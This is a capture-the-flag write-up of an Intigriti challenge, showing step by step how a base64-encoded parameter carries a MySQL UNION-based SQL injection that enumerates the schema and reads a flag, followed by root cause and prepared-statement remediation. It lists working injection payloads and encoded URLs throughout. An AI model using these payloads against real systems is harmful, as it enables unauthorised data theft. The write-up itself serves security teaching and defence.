Skip to main content

Command Palette

Search for a command to run...

Intigriti September 2026 Challenge, Critter Gallery

A blank 200 error page, a one-column UNION, and a base64 parameter that hid it all.

Updated
•8 min read•View as Markdown
Intigriti September 2026 Challenge, Critter Gallery

Vulnerability: Unauthenticated SQL injection (MySQL 8.0.46) in the base64-encoded pic parameter of /challenge.php, exploited with a single-column UNION SELECT to read the secret_vault table.


TL;DR

/challenge.php?pic= is base64. The application decodes it and interpolates the result directly into the SQL query that looks up a critter's description. Base64 is a transport encoding, not a validator, it carries a single quote perfectly well, and it conveniently hides the payload from anything inspecting the raw URL. Because the result set is rendered back into the page, the injection is fully in-band: one crafted link reads any table the database user can reach.

Final payload

panda' union select note from secret_vault #

Final URL

https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBub3RlIGZyb20gc2VjcmV0X3ZhdWx0ICM%3D

1. Recon, reading the URL

Clicking any critter in the gallery navigates to a URL with an opaque parameter:

/challenge.php?pic=cGFuZGE=

The trailing = and the character set are an immediate base64 tell:

cGFuZGE=   ->   panda

So pic is just the critter's name, base64-encoded. That is a transport encoding, not a security control, whatever I put in there reaches the backend verbatim after decoding.

At that point there were two candidate bug classes for a user-controlled string that gets echoed back into a page: XSS and SQL injection. I went after SQL injection first, because if it lands it is the higher-impact of the two.


2. Discovery, the error oracle is a blank page

The classic first probe, base64-encoded as always:

panda'
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEn

The response is HTTP 200 with a zero-byte body.

This is the single most important observation in the whole challenge, and it is worth being precise about why. An output-encoding routine such as htmlspecialchars() would have returned ' and rendered the page normally, escaping never blanks a response. A completely empty body behind a 200 is the signature of a PHP fatal error with display_errors off: the script died before it emitted any HTML. A stray quote that kills the script means the quote is being parsed by something, and the only parser downstream of a name lookup is the database.

So the blank page becomes my error oracle:

page renders    =  valid SQL
blank response  =  SQL syntax error

3. Confirmation, an ORDER BY differential

A single broken payload is not proof; it could be any server-side exception. The way to turn a suspicion into a confirmation is a differential test, where a payload that is syntactically valid behaves differently from one that is semantically invalid:

Payload Response Meaning
Baseline panda 200, renders normal lookup
Test 1 panda' order by 1 # 200, renders valid SQL — injection point closes cleanly
Test 2 panda' order by 100000 # 200, 0 bytes invalid SQL — no such column ordinal
Test 1:  https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIG9yZGVyIGJ5IDEgIw%3D%3D

The confirmation condition is:

Baseline == Test 1      (my quote and comment were absorbed by the query)
Test 1   != Test 2      (the database is evaluating the ORDER BY ordinal)

Both hold, so SQL injection is confirmed. This also proves the # comment successfully swallows the query's trailing quote, so the injection point is clean.

The same probe doubles as the column count for the UNION:

Payload Response
panda' order by 1 # renders
panda' order by 2 # blank
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIG9yZGVyIGJ5IDIgIw%3D%3D

The query selects exactly one column, so the UNION SELECT must project one column too.


4. Exploitation, in-band UNION SELECT

panda' union select user() #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCB1c2VyKCkgIw%3D%3D

Rendered output:

Giant pandas spend most of the day munching bamboo.
gallery@10.18.49.50

Two things are confirmed at once. The UNION executes — and because I kept the valid panda prefix rather than using a non-existent critter, the page reveals that it renders every row the query returns, each followed by a <br>. The template is a loop over the result set, not a single-row fetch. That makes exfiltration comfortable: the legitimate panda row stays on top and the injected row appears directly beneath it.

Fingerprinting the backend:

panda' union select version() #    ->   8.0.46
panda' union select user() #       ->   gallery@10.18.49.50

Schemas

panda' union select group_concat(schema_name) from information_schema.schemata #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoc2NoZW1hX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM%3D
information_schema,performance_schema,critter_gallery

Tables in critter_gallery

panda' union select group_concat(table_name) from information_schema.tables where table_schema=database() #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM%3D
animals,secret_vault

secret_vault is the obvious target.

Columns of secret_vault

panda' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_vault' #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3NlY3JldF92YXVsdCcgIw%3D%3D
id,note

The flag

panda' union select note from secret_vault #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBub3RlIGZyb20gc2VjcmV0X3ZhdWx0ICM%3D
Giant pandas spend most of the day munching bamboo.
INTIGRITI{00000000-0000-0000-0000-000000000000}

5. All payloads used

Every payload is base64-encoded and supplied as ?pic=.

# Payload Purpose Result
1 panda baseline panda description
2 panda' error oracle blank 200, injection suspected
3 panda' order by 1 # validity differential renders
4 panda' order by 2 # column count blank -> exactly 1 column
5 panda' order by 100000 # invalid-ordinal control blank
6 panda' union select version() # fingerprint 8.0.46
7 panda' union select user() # fingerprint gallery@10.18.49.50
8 panda' union select group_concat(schema_name) from information_schema.schemata # schemas information_schema,performance_schema,critter_gallery
9 panda' union select group_concat(table_name) from information_schema.tables where table_schema=database() # tables animals,secret_vault
10 panda' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_vault' # columns id,note
11 panda' union select note from secret_vault # flag INTIGRITI{...}

6. Root cause

?pic=cGFuZGEn
       |
       +--> base64_decode()                  <- decoding is not validation
       |
       +--> "SELECT description FROM animals WHERE name = '$name'"
       |                                      ^ unparameterised interpolation
       +--> MySQL parses the injected quote as SQL
       |
       +--> foreach (rows as $r) echo htmlspecialchars($r) . '<br>';

The defect is a single unparameterised query. Two design choices made it more exploitable than it needed to be:

  1. Base64 was treated as a sanitiser. It is not one, and worse, it actively conceals the payload from any WAF, log review, or input filter that inspects the raw query string.

  2. The result set is echoed back to the client. That turns what could have been a blind injection into a fully in-band one, removing any need for boolean- or time-based inference.


7. Impact

A single unauthenticated link, requiring no user interaction and no session, reads arbitrary data from the application database. In this challenge that is the flag; in a production application it would be the contents of every table the database user can reach; credentials, tokens, personal data.

Scope of access observed, stated precisely:

  • Readable: critter_gallery, information_schema, performance_schema.

  • Not available: stacked queries are rejected (single-statement API); load_file() returns empty (no FILE privilege / secure_file_priv); mysql.user is not readable.

The gallery account is correctly confined to its own schema. That least-privilege hygiene is what caps this at read-only disclosure rather than file read or code execution, worth crediting, because it is the control that limited the blast radius.


8. Remediation

Use a prepared statement with a bound parameter. That is the whole fix:

$stmt = $pdo->prepare('SELECT description FROM animals WHERE name = ?');
$stmt->execute([$name]);

Defence in depth:

  • Validate the decoded value, not the encoded one. The set of critters is a short, closed allowlist, reject anything outside it before the value reaches the database.

  • Do not use base64 as a security boundary. If the parameter is meant to be opaque, use an integer ID or a signed token; base64 only obscures the payload from defenders.

  • Keep display_errors off in production (already the case), but make the fatal-error path return a proper error page rather than an empty 200, an empty body is itself an oracle.


9. Steps to solve (summary)

  1. Clicked a critter, recognised ?pic=cGFuZGE= as base64 -> panda.

  2. Considered XSS and SQLi; pursued SQLi first for the higher impact.

  3. panda' returned a blank 200, a PHP fatal, not an encoding artefact. Error oracle found.

  4. Confirmed with an ORDER BY differential: order by 1 renders, order by 100000 blanks.

  5. Narrowed the column count to 1 (order by 2 already blanks).

  6. UNION SELECT behind the valid panda prefix, the page renders every row, so exfiltration is in-band.

  7. Fingerprinted MySQL 8.0.46, running as gallery@10.18.49.50.

  8. Enumerated information_schema -> critter_gallery -> animals, secret_vault -> id, note.

  9. Read note from secret_vault.

Flag: INTIGRITI{00000000-0000-0000-0000-000000000000}